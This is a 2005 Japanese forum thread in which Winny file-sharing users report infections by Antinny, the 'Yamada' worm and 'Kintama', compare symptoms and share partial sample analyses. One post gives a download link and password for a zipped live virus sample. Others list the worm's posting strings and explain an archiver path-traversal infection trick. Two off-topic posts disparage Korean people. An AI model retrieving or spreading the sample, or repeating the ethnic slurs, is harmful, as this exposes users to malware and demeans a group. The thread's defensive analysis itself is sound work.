【テンプレを読んだか】 読んだ
【テンプレにある対策を実行したか】 したつもり

【症状、具体的に分かる限りすべて書く】
XPのファイヤーウォールが解除される。（その後FWを開始できない）
ホストファイルが書き換えられてWindowsUpdateやアンチウィルスソフト会社サイト
などへのアクセスが朝日コムに変えられてる
その他不明

【何をしたらそんなことになったのか】
[シングル] 坂本真綾 - ループ (2005.05.11)(samplCD VBR)(アニメ「ツバサ・クロニクル」ED曲).mp3.zip
（cb1c51f6cc6e7b7cd7c9e53e3d442486a3a4c176）
を解凍して出てきたフォルダ偽装EXEを踏んだ

※感染元のファイルの情報もあると良し
【これまでにとった措置】 ホストファイルの書き換え、オンラインスキャン（ウィルス発見できず）
タスクマネージャーやレジストリエディタで怪しそうなのをチェックするも見つからず。
SpyBotでも特になし

Shareからなのでスレ違いかもしれませんが情報をお持ちの方お願いします

（同人誌）[月野定規]May.zip

この中にexeが入ってるみたいなんだけど、そのexeを直接踏まなくても
ウイルスが動作するみたいなんですよね。これ。
どういう仕組みなんでしょうか？一度見てみてください・・・

了解。

>>113
山田ｶﾜｲｿｽ

>>113
> XPのファイヤーウォールが解除される。（その後FWを開始できない）

これが恐いね。どんなエラーが出るの？

XPのFirewallなんてあって無いようなもんだが、OutpostやKerioなん
かのアプリまで落とされるとしたらやっかいだな。

なをというか、どこからつっこんでいいやらという感じだが、とりあえずこれだけは
スレ違い、窓から

携帯から乙

>>114
ハッシュも晒してくれ、入手したブツ
(同人誌) [月野定規] May.zip 8,733,252bytes
にはexeなんか混在してなかった。

>>121
ごめん、怪しかったのでキャッシュ消しちゃった。
exe入りなのは間違いないですよ。

ここに↓2ch管理人訴えるっていう人がいるよｗ裁判おこすってさｗ
【経緯】
公務員がヤフオクで違法コピー販売の副業やってて、ウィルスに感染→個人情報他ダダ漏れ
→２ちゃんに晒されて→自分のしてた事も棚上げして逆ギレ→管理人訴える
http://pc7.2ch.net/test/read.cgi/yahoo/1115636340/
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　

訴えるわけがない
アホくさい

【ﾊｯｸ?】2chにlivedoor秘書乙部Blogが埋め込まれている！
http://news19.2ch.net/test/read.cgi/news/1115885963/

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>126
詳しく解析中。これも検体に回す
>>127
ZIP解凍時の脆弱性をねらったタイプのウイルス。
（解凍するとそのパスに解凍されてしまう）
新種の予感・・・

解凍ツール更新してないやつはイチコロだなー　ﾅﾑﾅﾑ

2chのトップにアクセスすると127.0.0.1に飛ばされるんだけど…

>>130
俺も飛ばされるwww

運営の山田スレでちょっと前に「どうやって感染者に気づかせるか」って
話してたから、板の設定をFOX★あたりがいじってるんじゃないかな？

>>131
違う

【乙部blog】iframeタグがスクリプトエラーを吐き出す問題について
http://qb5.2ch.net/test/read.cgi/operate/1115893714/
＋
948 名前：動け動けウゴウゴ２ちゃんねる ﾒｪﾙ：sage 投稿日：2005/05/12(木) 20:58:30 ID:QoR69F0Y0 BE:1625142-##
乙部ブログにある
<script type="text/javascript" language="JavaScript">w=window;if(w.parent != w.self) { w.parent.location = 'http://127.0.0.1/'; }</script><br />
が原因の模様

>>130
ちがってたごめん

382 ：動け動けウゴウゴ２ちゃんねる ：2005/05/12(木) 21:14:39 ID:3KpRKKkk0
馬鹿に分かるように説明

2ch運営ボランティアの誰かがライブドアブログを<iframe>タグを使い呼び出し、
アクセスランキングあげて遊ぼうと各板に
jp/ld_ayako/archives/21502770.html" width=1 height="1" scrolling=no frameborder=0 name=a01></iframe>
を仕込む。
↓
アクセス数がおかしいのでライブドア側が気づく
↓
ライブドア側が<ifame>でページが呼ばれたら http://127.0.0.1/ へ飛ばすように「ブログ側」に
Javaスクリプトをしこむ
<script type="text/javascript" language="JavaScript">w=window;if(w.parent != w.self) { w.parent.location = 'http://127.0.0.1/'; }</script>
↓
★いまここ
↓
ちぇっ飛ばされちゃーいろいろめんどいから悪戯もおわりか、
と２ｃｈ側が<iframe src="http://blog.livedoor.〜をはずす。
↓
ひろゆき結婚会見。

だからタグ対策はしろ、っての＞2ch運営
1chが、あれだけ荒らされてたのにねぇ…

>>127
daemon.exeが、名前の通りのブツ（DaemonTools）だとしたら…。何をするつもりなのかねぇ。
isoイメージとか、解凍したとたんに実行ってことか…2段構え？

>>127
ノートン2004検出可能。
ウィルス名:Trojan Horse

>>126
[シングル] 坂本真綾 - ループ (2005.05.11)(ラジオ音源 128k)(アニメ「ツバサ・クロニクル」ED曲).mp3.lzh および
[シングル] 坂本真綾 - ループ (2005.05.11)(ラジオ音源 320k)(アニメ「ツバサ・クロニクル」ED曲).mp3.lzh から
容量の異なる2つのexe（408Kのjpegアイコン偽装と810Kのフォルダアイコン偽装）を検出。
先生いわく、どちらもW32.HLLW.Antinnyとのこと

でかいほうの内部を見てみると、ファイル名偽造コンバータとZIP化エンジン。
PCの内部ファイルを探すのかどうかは分からんが、ZIP化して、エロものとかの
名前を付けて放流するタイプらしい。小さいほうは、でかいのを再圧縮したものっぽい。

いずれにしても、その場合は検出済みなので……。しかしそろそろ、1年が経つのだなぁ、しみじみ。

>>126 ZIP内部調査結果補足
・UPnPでポート解放を行うようにしている
・XP FWの80を解放
・UserAgentを大量に所持（ランダムで使用？）
・Visual C++ 6.0

>>137
はっしゅ　どこか　たのむ

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

なんか軍拡競争みたいになってきたね。
次はどんな凄いやつが来るのかワクワクしてきたぜ

winnyのバージョンチェック警告みたいの出てるんだけどこれってたしかウィルスだよね？

情報ありがとうございます

山田でしたか･･･
一応疑って色々調べたんですが127.0.0.1にアクセスできないので
山田じゃないと思ってました

なんとかＸＰの復元機能で大丈夫になったっぽいです
暫く様子見ようと思います

今後は踏まないように気をつけます

ウィルスとはちょっと違うみたいだね。スレ汚しｽﾏｿ

欄検眼段のことで質問です。
テンプレに載ってる確認方法で確認してみたのですが、感染していませんでした。
しかし、msconfigでスタートアップを見てみると、確かにIMJPMIG.exeが登録されてます。
そのファイルがあるフォルダに行こうとしても表示されなくて、
隠しフォルダなどのチェックもはずしましたが問題のフォルダが出てきません。
この場合どうすればよいでしょうか？

>>145
スペルをよく見ろ

IMJPMIG.exeなら無問題
Iとl、見間違えやすいが別物。

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

↑avg freeでスキャンしても反応しないexeがありました。

作者は、UPnPを勉強中なのかな？

そうかもね。

UPnP乙
これでYahoo以外も見れるようになるの？

ここで解析してもらいたいのですが、うｐろだにウイルスUPするのはやばいですか？
コメント欄で警告してパス付ZIPでうｐすれば問題ないですかね？

まぁ問題ないんじゃないカナ？

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

ttp://okinawa.ave2.jp/cgi/free/source3/0119.zip
ですよろしくお願いします。
パス付ですので「23y0drx98d55」と入力してください。

>>127
前も似たようなのがあったと思ったが、JBBSに書き込むタイプ( ;ﾟДﾟ)

>>156氏 うｐの検体
PEiDにて調べたところPacker搭載、
DETHNOTEPADという文字列がバイナリに見える。
（MEW 11 1.2 -> NorthFox/HCC）
UnPackしたところ、VisualBasic 5.0 or 6.0の模様。
これ以上は危険なので解析中断。
こんなもんでよかとですか？('A`)

マイネットワークに　aruaruneyo.dyndns.org　　ftp://VIP:[email protected]/
っていう見慣れないフォルダがあったのですが何かウィルスに掛かってるのでしょうか・・・？

あるあるｗねーよｗ

>>159
きみは、plala.or.jpなのか？
だとすると、FTPサーバが起動している可能性があるので処理するように・・・

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

【使用OS】 XP
【WindowsUpdateしてるか】 しています
【使用AntiVirusソフト】 マカフィー
【AntiVirusをUpdateしてるか】 しています
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b71
【Winny歴、総DL量】 ２ヶ月、40G
【テンプレを読んだか】 読みました
【テンプレにある対策を実行したか】 していなかった

【症状、具体的に分かる限りすべて書く】
>>60さんとまったく同じ症状でドキュメント内のフォルダが全て消え、
(･ё･)xxxxx.jpeg(容量バラバラ、ギガ単位でHDDの容量を埋め尽くしてしまいました〉
に置きかえられて、起動する度に「プログラムが応答していません、
ｼｽﾃﾑがビジー状態です」といったようなウィンドウが際限なく開かれる。

【何をしたらそんなことになったのか】 >>60さんとまったく同じファイルを踏みました・・・
【これまでにとった措置】
セーフモードで起動してjpegを消したりしているのですが、通常起動にするとウィンドウがまた現れ
jpegファイルが再度つくられてしまい、何をすべきかわかりません。

OSの再インストール以外の解決方法があれば教えてもらえないでしょうか・・・？

なんでそんな異常事態なのにOS再インスコを躊躇うのだろう
正常性バイアスって奴かね？

まえまえから疑問に思ってるんだが
なんで再インスコを嫌がるんだ？
一番簡単で安全なのに

手動でウィルス駆除するほうが難しいぞ

HDDを１パーティションで使っているんだろう。

ここで報告してくれるのはありがたいんだが、問題のファイル落とそうとしても
全く引っ掛かってくれないことの方が多い。
ロダにうｐってくれればすぐにでも通報できるのに・・・

2次被害者出るんでネノ

>>156
みたいにすればいいんじゃね？
パスを日本語にすれば完璧。

１パーティションで使っています。
なのでバックアップをとらないといけないので、どうしても躊躇してしまいました。
ウイルススキャンで何もでなかったので実行しちゃったんですが、そんなに甘くないですね(´･ω･`)
一部重要ファイルもあったので、かなり動揺しているみたいです。

起動する度にでるウィンドウだけでもどうにかならないでしょうか・・・
DVD等に焼くソフトが起動すらできません。

>>161
いえ、YahooBBです。確かにftp.uploda.netってフォルダが有りますが
どう処理したらいいのでしょうか・・・
何か勝手にUPされちゃってたのかな(;´д⊂ヽﾋｯｸﾋｯｸ

>>163
KNOPPIXでデータ救出してみるのは？

>>170
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
で何か胡散臭いエントリーがあったりしない？

テンプレに
NGワード: ftp.uploda.net
追加しろｗ

>>157氏
起動した瞬間に書き込んでＩＰ晒しというやつでしょうか？
ＲＯのＩＤとかを書き込んじゃグやつなのかな？
どこかにこれに関するまとめページなどあるのでしょうか？

【使用OS】XP　SP2
【WindowsUpdateしてるか】してる
【使用AntiVirusソフト】ウィルスバスター2005、AVG
【AntiVirusをUpdateしてるか】してる
【Winnyのﾊﾞｰｼﾞｮﾝ】２
【Winny歴、総DL量】１年
【テンプレを読んだか】読んだ
【テンプレにある対策を実行したか】
問題発生後、一通り確認してみたけど、症状が一致しない
【症状、具体的に分かる限りすべて書く】現段階では特に異常が確認できない
【何をしたらそんなことになったのか】
ダウン条件のキーワードで勝手に引っかかってきたexeがダウンロードされたと同時に
G:\System Volume Information\_restore{F65FC044-AC8A-4CCF-B827-02DC5BBFCA3F}\RP92
(↑nyが置いてあるローカルディスク)に謎のexeが作られた。exeには自分では触ってない。
バスターはスルーしたが、AVGがAntinyが上記のフォルダにあるから
削除しなさいと言うダイアログが出た。
感染元ファイル名は失念したが、キーワードに引っかかりやすい様にやたら長いもの。
【これまでにとった措置】
ウィルスソフト削除。ウィルススキャン(バスター、ノートン、AVG)


クリックさえしなけりゃ安全と高をくくってました…
情報をお持ちの方、よろしくお願いします…

ProgramFiles内にある、いかにも怪しいフォルダ(フォルダ偽装したexe、*** .exe等)
を削除したら問題解決したかも・・・です。
フォルダ名がエロゲタイトルでだったので気付かなかったとです
内部も通常エロゲ道理のフォルダ分けがされてましたが、こんなに手のこんだウイルスがあるなんて驚きですわー・・・
もうexeは踏まない事にします、>>172>>173さん、ありがとうございました。

いきなりｐｃの電源が落ちるのは故障？それともウイルスですか？

寿命

>>178
日頃の行い

そりゃ家の電源不足だべ

ｐｃが落ちるっていうか、モニタの電源が切れて、
でも本体の電源ボタンは緑に光ってて、
強制終了しようとしてもできなくて、
仕方が無いからコンセント抜いて、って感じです。

ウィルス関係ないな

一応
【使用OS】XP　
【WindowsUpdateしてるか】してる
【使用AntiVirusソフト】ノートン　 (2002・・・)
【AntiVirusをUpdateしてるか】してない
【Winnyのﾊﾞｰｼﾞｮﾝ】２
【Winny歴、総DL量】1年半くらい？
【テンプレを読んだか】読んだ
【テンプレにある対策を実行したか】
【何をしたらそんなことになったのか】？

>>182
それはウィルスがどうのというソフト側ではなくハード側の問題じゃないかなぁ。

>>178
先日、俺のPCが同じような事になった。
PC本体のファンは回っているし、モニタのデバイス入れ直してみたり、
OS再セットアップもやったが、何度やっても、しばらくするとモニタの電源が
不意に落ちる。そのうち起動時に落ちるようになった。でも領域操作して
起動時にchkdsk入るようにすると、問題なく起動したり。
結局、マザーのコンデンサが6個くらい膨らんでた。

>>186
モニタの電源落ちるってのはちょっと違った。
本体からの信号が通らないって感じ。代替モニタがないから、モニタが
悪いのかも、とか断線とか疑ってた。

>>187
スレ違いだから

航行中の豪華客船が氷山に激突して沈没することになった。
乗り合わせていた韓国人の青年が、真っ先に救命ボートに乗ろうとした。
これを見た英国人紳士が韓国人青年に言った。
「これこれ、まだご婦人方がいるではないか」
これを聞いた韓国人青年は言った。
「そんなことやってる場合じゃないだろ？」

通報屋さんに質問(´･ω･)ﾉｼ

山田ウイルス関連で通報した検体で、名前欄-メール欄に以下のものを
入れる「以外」のものがありました？　また以下のもので送ってないものは？

名前欄入力　　　　　　　　　　メール欄
erofusianasan/　　　　　　　　hage
fusianasan　　　　　　　　　 　 age
http://fusianasan/~ss.jpg 　sage
murofusianasan/　　　　　　 zage
(なし)　　　　　　　　　　　　　 sage

山田は圧縮なしなのでエディタに入れてサーチすればすぐ出てきます。
元祖(youjo.exe)が(なし)sage、(lolita.exe)がerofusianasan-hage、
あと手元にfusianasan-ageがありますが、通報状況がどうなっているのか
知りたいのです。本当は検体ほしい。

ゆうべの書き込みのあとも落ちた・・・

>>187どーもありがとうございます
>>188スレ違いわりーわりー

ニュイルスってなんですか？

>>190
fusianasan　　　　　　　　　 　 age
murofusianasan/　　　　　　 zage
このへん通報したのか定かではない（手元に残ってないというか、見れん）
それ以外は確認。fusianasan-ageは手元にあるかなぁ・・・・役立たずでごめんorz
超特急で確認したから漏れとかありそう＿|￣|

>>192
ニューウィルス

PC買って10年近く、今までフリーｱﾝﾁｳｲﾙｽ使ってたけど、まんまとｳｲﾙｽにやられた
ﾉｰﾄﾝ先生買ってこようと思った土曜の午後

きちんと運用してるなら、商用もフリーもあんまり関係ない悪寒。
俺はコムガード(ハードウェアレベルでリカバリー)とフリーワクチンを
組み合わせてる。

>194
new winny virus

Winny 　ウイルスを貼って行くスレ
http://pc7.2ch.net/test/read.cgi/pc2nanmin/1101339955/

winnyでフォルダ情報→フォルダ削除を押すと、勝手にwinnyのフォルダに
なにも書かれていないUpFplder.txtが作られてしまいます。これはなにかの
ウィルスですか？

>>176

ttp://canon-sol.jp/supp/nd/wndt8001.html

うっかり仁義なきキンタマ踏んじまった。。。
駆除マンドクセ(ﾄﾞｸｵAA)

　　　 |ヽ　,,|,~'i､　 .,_　　　,ri､　　　　　.lﾞ‐'"'i､　　　 ,，　,i､　　　　　,、　　 ｖi､
　　　 | ｋ, ヽ广　　| |　　'l''ﾞl┘　　　　 .`'ｸﾞ/　　　　|ﾞl.,ｨ |.|　　　　 ）ﾞl　　/'ﾞl″、　　　r-,、　 、　　 .:c､、
　　ｯ┘｀,lﾞ　　　　,ﾉ ヽ ,,,,,`'′　　　　 .,/,,,!‐''，　 ,ノ う゜.| |　　　 .,ﾉ ヽ ,,,,,`'′ |ﾞl　　　 ﾞl,ヽ　.|ﾞl　　　 ヽﾞi､
　　 ﾞi､/ﾞ,-'''i､　.く, .,巛 ‘r＼　　　　 ／.'ﾟ_ ／　 ./‐I /　 | |　　 .〈、,l］ﾞl `',＼　 | |　 ,｡　.,i´ﾞl　| |　 .�� ilﾞ ﾞl
　　 lﾞ.lﾞ ﾞlｯ'"　　././ | |　.,,) ﾞl　　　　.!／］/　　　 丿 |　 .lﾞ.|、　　/丿| |　.,,〉.）　| ﾞl .,ﾘ　 .`-" .lﾞ | .,l〕　 .ヽ"
　　/.lﾞ j,i´　　　lﾞ,E.,lﾞ.|　 ｀'''′　　　　　lﾞ｛　　　 /,,| |　　ﾞl,ヽ　 .ﾞl,d,,lﾞ |　 ｀'''ﾞ　 ﾞl ﾞ‐'|　　　　　ﾞl ﾞ‐'|
　 / lﾞ　ﾞl,~ﾞ'''i､　 .ﾞl´丿　　　　　　　　　 | ﾞl,　　 '(/|゜|　　 .ﾞ-ﾞl　　.ﾞl｀丿　　　　　＼.,}　　　　　 ＼.,}
　 ∨　　`''ｰ"　　 ﾞ'"　　　　　　　　　　 ヽ ﾞl　　　 ヽ}　　　　　　　`"　　　　　　　 ｀

age

636 KBのキンタマ拾ったー

それ俺のキンタマの片割れ
返してくれる？

>200
ありがとうございました。
すっげーアホなことで騒いでた自分が恥ずかしいです。

亜種多いな

亜種メーカーがあるらしい

新亜種
http//<fusianasan>/
（´･ω･）ｶﾜｲｿｽ ･･････

　検体確認しました

どれに?

続々と開発される新亜種。
ジオン、脅威のメカニズム。

そのうちソーラレイみたいな驚異的な破壊力を持つ亜種がでてきそうな予感。

またガノタか

そのうちガンド・ロワみたいな驚異的な破壊力を持つ亜種がでてきそうな予感。

おい、おまいら。たいへんでつよ。

日本国存亡の危機です！！犯罪者集団が大挙して押し寄せてきます。
放置して置くと大変なことになります。みなさんご協力下ちい
世論で最低減日韓首脳会談での表明は回避してもらいまそう

↓現行スレ
【日韓】韓国人観光ビザ、免除恒久化へ　関係修復狙い／治安対策カギ★2[05/15]
http://news18.2ch.net/test/read.cgi/news4plus/1116107629/
【日韓】韓国人観光ビザ、免除恒久化へ　関係修復狙い／治安対策カギ[05/15]
http://news18.2ch.net/test/read.cgi/news4plus/1116094191/

政府は十四日、愛知万博開催期間限定で実施している韓国人観光客の査証（ビザ）免除措置
を万博終了後も継続恒久化する方針を固めた。
六月に韓国で行われる日韓首脳会談で、小泉純一郎首相が盧武鉉大統領に表明する。

教えてください

>>11に書かれている様な症状は無いのですが
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runがレジストリーにあります
このHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runは削除した方がいいのでしょうか？

あと>>12においても症状は無いのですが
windows\system32の中にsvchost32.exe、setup.exeがあります
しかしHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runには上記exeはありません

因みにHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runには

（既定）
ctfmon.exe
HDD-Nonクラッシュ
MSMSGS
WDSM..exe

以上の５つが存在しています

削除してイイ物とイクナイ物を教えてください

感染してるかが良くわかんなくて心配だったら再インスコしれ
nyや変なうｐ拾うのやめれば幸せになれるかもしれない

Q : 消しても大丈夫ですか？
A :　_、_
　（　,_ﾉ` ）　　　　 n　　　　こんな匿名掲示板で書かれたことを信用するんですか？ だったら言ってあげますよ
￣　　　　＼　　　（ E）　 　時限型ウイルス満載！消した瞬間に個人情報撒くわ
ﾌ 　癌　 /ヽ ヽ_／／　　　専用UploaderにデスクトップのSS投稿するわ重要ファイルは消えるわ家は燃えるわ大騒ぎ！！ｐｇｒ

>>216
【ﾏｼﾞﾚｽ】超初心者の質問に答えるスレ153【ｴｽﾊﾟｰ】
http://tmp5.2ch.net/test/read.cgi/download/1115481431/

亜種ｵｵｽ('A`)
>>209,204
詳しく！

>>220
送信！

どこかに種芋バイナリが配布されてるんじゃね？　＞亜種

山田ウイルスに感染しているか確認する方法
ttp://127.0.0.1/
開けると感染中

kakaku.comが不正アクセスで閉鎖　閲覧ユーザーはウイルス感染も
http://news19.2ch.net/test/read.cgi/newsplus/1116172924/

http://kakaku.com/
クラックされたらしい。

winnyを狙ってないし

【使用OS】 win2k
【WindowsUpdateしてるか】 している
【使用AntiVirusソフト】 ノートン2004
【AntiVirusをUpdateしてるか】 たまに
【Winnyのﾊﾞｰｼﾞｮﾝ】 2.0b71
【Winny歴、総DL量】 数ヶ月、100G↓
【テンプレを読んだか】 今読みました
【テンプレにある対策を実行したか】 ウイルスソフトの常駐、落としたファイルのスキャンはしていた
【症状、具体的に分かる限りすべて書く】 >>60,163さんと同じように、OSを起動すると「システムがビジー状態です」
とか書いてある青色の窓が際限なく開かれた
何もできなかったのでドキュメント内ファイルがどうなっていたかは確認していません
【何をしたらそんなことになったのか】 >>60,163さんとおそらく同じファイルを踏みました。
らぶデスのモザイク除去パッチを開いたのは確かですが、その前にスキャンもしたし、中にあったexeファイルには触れてないです
zipを解凍しただけでまずかったんでしょうか…
【これまでにとった措置】 全HDをフォーマットして再インストールしました
けれどその後、どうもモデムの調子がよくなく、ネット接続できたりできなかったりします
また、ノートンインターネットセキュリティを入れてるのですが、オプションを開こうとすると「あなたにその権限はありません」
のような警告が出て開けなかったりしました（再起動したら開けました←もちろん常にアドミで入っています
また、窓の手も入れてるのですが、項目の一つ「自動ログオンする」を何度チェックしても、再起動するとチェックが消えている
といった症状もでています（これは関係ないかな

その後、シマンテックのオンラインチェック、オフラインでの全HDウイルスチェックをしたが感染数は0との答えが
このウイルスは新種なんでしょうか？モデムやbiosに潜むようなウイルスがあるんでしょうか…
どなたか情報お持ちの方いらっしゃいましたら教えて下さい

テンプレの感染しないための注意1に

・nyをProgramFilesに置かない。

とあったのですが何故nyを
ProgramFilesに置いていてはいけないのでしょうか？

>>226
モデムって、ダイアルアップ回線かよ

ｷﾝﾀﾏ感染報告ｷﾀ━━━━━(ﾟ∀ﾟ)━━━━━ !!!!!

kakaku.comが不正アクセスで閉鎖　閲覧ユーザーはウイルス感染も
http://news19.2ch.net/test/read.cgi/newsplus/1116172924/

166 名前：名無しさん＠５周年[sage] 投稿日：2005/05/16(月) 01:38:42 ID:c8hf1u6W
時間モジュール対象ウイルスアクションユーザシステム情報
2005/05/16 1:29:45AMON C:\Program Files\InstallShield Installation Information\{2B9FBAE1-5016-4F14-B452-E6874A3C1284}\Setup6cd3.exeWin32/HLLW.Antinny.A ウイルス
2005/05/16 1:29:42AMON 　C:\WINDOWS\System32\zktlzvo.exeWin32/TrojanDownloader.Agent.AE トロイ

感染してた　(´･ω･`)

>>229
kakaku.com、まだクラックされてる気がするんだが・・・
今見に行ったら、PC固まったよ。
光学マウスに電気すら供給されてない状態になった。

>>228
えっと、ADSLです。
ADSLモデム略してモデムのつもりだったんですが、意味が違ってくるのでしょうか…

>>226
>>【これまでにとった措置】 全HDをフォーマットして再インストールしました
これはHDD自体をフォーマットちゃんとしたのか？
ただOSを再インストールしただけとか

>>231
あってる。
モデル＝ダイアルアップとおもてるほうが間違い。

はい、もともとはC,D,Eドライブが物理的に同じHD（CにOS）で、Fが物理的に別HDだったのですが
win2kのCD入れて、まず全てのパーティションを削除して全領域を未使用にし
そこからまずCだけを作って（容量は前と同じ）win2kをインストールしました。
その後、コンピュータの管理から残りの領域作成（容量は前と同じ）とフォーマットをしました。

パーティション削除したらフォーマットもしないとOSインストールってできないですよね…？

いくらなんでも山田ウイルス感染者多すぎない?
何人いるのかな。10000くらい?

パソコン蛾人　　＼ＣＰＵ使用率100%　／／∧＿∧ 　　　　　　　謝罪！謝罪！
ぶっ壊れ（＿_） 　　＼　！！！！！　／　 　<｀Д´　>つ─◎　 　さっさとさっさと謝罪！
たお！　（＿＿） 　　　＼∧∧∧∧／　　　/´￣し'￣し' ＼ ///. 　しばくぞ！
　　　　 （`Д´＃）　　　＜　ぶ パ　＞　　　　 ､_人_ /　 彡 ◎
　　 ＿|￣￣||＿）＿　＜　　っ　ソ ＞　　　 _） 　◎彡.|　| 　　ﾊﾞﾝ
　／旦|――||/／ ／|　＜　壊 コ　＞　　 ´｀Ｙ´　 　.|　| 　ﾊﾞﾝ
─────────＜　れ ン　＞──────────
<　　 ＿,ノ , 、ヽ､＿　ノ＜　た　蛾＞　　アップデートが止まらないお
　（y○'）｀ヽ) ( ´（y○'）＜　 !!! 　　＞ なにこれ？　　＿＿＿
　　⌒　/　　　　ヽ⌒　／∨∨∨∨＼　　　∧＿∧　　|｜＼
うわあ |~￣￣~.|ぁぁ／パソコン蛾ぶ ＼　（ ；´Д｀）　|｜　｜
ぁぁ|　|||! i: |||! !|ぁ／っ壊れた！　　　　＼（　　つ／￣|｜／

>>226ほど注意してても感染しちゃうもんなのか。
俺もスキャンとexeに注意するぐらいで安心しちゃってるんだが甘いのか？

>>237
注意してる奴はあんな怪しげでしかも調べりゃ既出なファイル落とさんだろ。

とりあえず、ここに置いておく。

駆除ソフト詰め合わせ.zip　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　.exe

うっかり>>239をダブルクリックしてしまったのですが大丈夫でしょうか？
当方初心者なのでわかりやすくお願いします。

>>240　　　　　　　　Σ(￣◇￣；）マジッすか？

>>240　　　　　　　　Σ(￣◇￣；）マジッすか？

>>226
>らぶデスのモザイク除去パッチを開いたのは確かですが、その前にスキャンもしたし、中にあったexeファイルには触れてないです
>zipを解凍しただけでまずかったんでしょうか…

だから除去パッチがウイルスなんだろ

>>243
言葉足らずでした、すみません。
「らぶ〜パッチ」と言う名前のzipファイルを開いただけと言う意味です。
中にはexeがありましたがそれは開いていませんと言いたかったのです。

パッチ使わないんだったら何でDLしたんだと言われるとなんとも答えに困りますが…

価格.com一時閉鎖

>>244
オレも　らぶデス 〜Realtime Lovers〜 モザイク除去パッチ.zip　は
落として開いてみたけど大丈夫だったよ
中のexeは確か通報したと思った　パッチは捨てた
zip開いて即感染？　そうだとしたらそんなの聞いたことないなあ
解凍ソフトが古いんじゃないの？　最新版使うべし

一応説明しとくと　解凍ソフトの脆弱性を利用して
解凍時にスタートアップに解凍しちゃうんだよ
PC再起動すると実行される仕組み　
それで感染したんだろ？
そうじゃないならかなりヤバイ新種ってことになるな

ごめん再インストール後の症状読んでなかった
単になんか間違えてんじゃね？

確かに解凍ソフトはずっと前のをそのままつかっててバージョンアップとかはしてませんでした。
解凍は、zipファイルを置いていた場所に解凍したと思います、
その後ドラッグ&ドロップでzipファイルと、解凍したときにできたフォルダ選択してshift+delしましたから。

ついでにスタートアップにも解凍しやがったんですかね、
前出の通り窓が際限なくでてきた時点で怖くなって再インストールしたので
スタートアップがどうなってたかは見てません。

再インストール後の症状は…
その後何度か再起動してますが今のところ症状は出ずに問題なく動いてます。
何かのどこかを設定ミスしてたんですかね。
ただ、症状でたときから別に設定変えてないんですよね…なのに今はモデムの調子も悪くない。
何が原因だったんだろう、大本で接続障害でもあったんでしょうか…

もしこれからまた何か症状でて、皆さんのお役に立ちそうなら報告させていただきます、
色々ありがとうございました。

>226
取り敢えずテンプレに書いてある対策ぐらいはしっかりとな

・指定外の場所へ解凍される脆弱性がある解凍ソフトがあるので対応済のソフトを使う。
　ttp://www.forest.impress.co.jp/article/2004/07/30/arcsecurity.html

>確かに解凍ソフトはずっと前のをそのままつかっててバージョンアップとかはしてませんでした。
ドあほとしか言いようがない

日本国またはアメリカ合衆国、もしくはその両方の著作権法に触れる内容であると疑われることから表示できません。

>>227
例えば、ワームがnyを使ってワーム自身を含む様々なファイルを拡散させようとする場合、
UpFolder.txt等の絶対パス（場所）を調べ、勝手にUpフォルダを追加したりする必要がある。

nyをProgram Filesにおいていた場合、
　　"c:\Program Files\Winny2\UpFolder.txt"
　　"c:\Program Files\Winny\UpFolder.txt"
　　"c:\Program Files\ny\UpFolder.txt"
などの存在をチェックしただけですぐに場所が特定され、いたずらされやすい。(*´Д`)ﾊｧﾊｧ

Program Files以外においた場合でも、nyの場所を特定することはできるんだけど、ワームを
踏んじゃう人のほとんどはOS等の設定をデフォルトで使っているので、Program Filesに
あたりをつけて探すのが手っ取り早いので、この方法が良く使われる。

セキュリティの面から言えばnyに限らず、Program Files、デスクトップ、マイドキュメントは使わないで
自分でフォルダを作成したほうがホントはいいんだけど・・・なかなかねー。

俺の知人のノート、デフォでC・Dとパーティション切られてたんだが
見せて貰ったらDドラはカラッポ、全くの未使用だった。

インストールは言われたまま、
拾ってきたファイルはデスクトップかマイドキュメント。
これで済んじゃうし、ドライブが分割されてるなんて思いもよらなかったんだろうな。
ライトユーザーなんてこんなもんか、と思ったよ。

当たり前のようにウィルスとスパイウェアに食い荒らされてたしな。

ttp://kiken.jp/pc/jisaku/data/20050403214135/img20050403214135.jpg

>>255
すげー
コレクションか？
俺がまだ厨のころスパイウェア500件ヒットならあったが

今も厨のくせにｗ

>255
食ってた焼きそば吐いたじゃねーか！

>>257 お約束杉

オレも使ってないノートにウイルス飼ってみようかな

うちのiMacにメール添付で届いたウイルスがいくつかいるな。
身動き取れなくて氷漬けになってるけど。(w

前にzip開けた瞬間にウィルス出てきたことはあったけどな。
ちゃんと駆除してくれたけど。

× zip開けた瞬間にウィルス出てきた
○ zip開けた瞬間にアンチウィルスソフトがウィルスを認識出来る様になり駆除した

なんか誤解している様な気がする

【使用OS】 XP
【WindowsUpdateしてるか】 してる
【使用AntiVirusソフト】 　　ウィルスセキュリティ
【AntiVirusをUpdateしてるか】 してる
【Winnyのﾊﾞｰｼﾞｮﾝ】 　２
【Winny歴、総DL量】 　１ヶ月、50ＧＢくらい
【テンプレを読んだか】 読んだ
【テンプレにある対策を実行したか】してませんでした ＿l￣l●
【症状、具体的に分かる限りすべて書く】
キンタマに感染した模様。
●tempフォルダに「XXX？.temp」が常に作成される
（ユーザー名も作成されていたが、現状は治まっている。）
●テキストアイコンに偽装されたctfmon.exe（system32フォルダ）
　を削除するが、再起動するたびに復活（スタートアップも）。

【何をしたらそんなことになったのか】
調子に乗って落としまくってたので何がなにやら。
思い返せばフォルダアイコンに偽装したのを踏んだかも・・・
【これまでにとった措置】
・テンプレの対策をひと通り実行。
